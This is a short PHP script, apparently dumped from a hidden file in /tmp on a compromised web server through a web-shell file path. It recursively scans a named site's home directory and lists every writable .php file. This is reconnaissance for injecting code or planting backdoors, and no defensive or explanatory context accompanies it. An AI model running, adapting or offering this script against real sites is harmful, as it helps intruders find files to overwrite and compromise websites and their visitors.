File: //proc/self/root/proc/thread-self/root/proc/self/root/tmp/.entity
<?php function scan($path, $root) { if ($dir = @opendir($path)) { while (false !== ($file = readdir($dir))) { $p = $path . '/' . $file; if ($file != '.' && $file != '..') { if (is_link($p)) { continue; } elseif (is_file($p) && substr($p, -4) == '.php' && is_writeable($p)) { $res = str_replace($root, '', $p); print "<f>{$res}</f>"; } elseif (is_dir($p)) { scan($p, $root); } } } } } $r = "/home/vitanhod/vitamine.pk"; scan($r, $r); die('!ended!');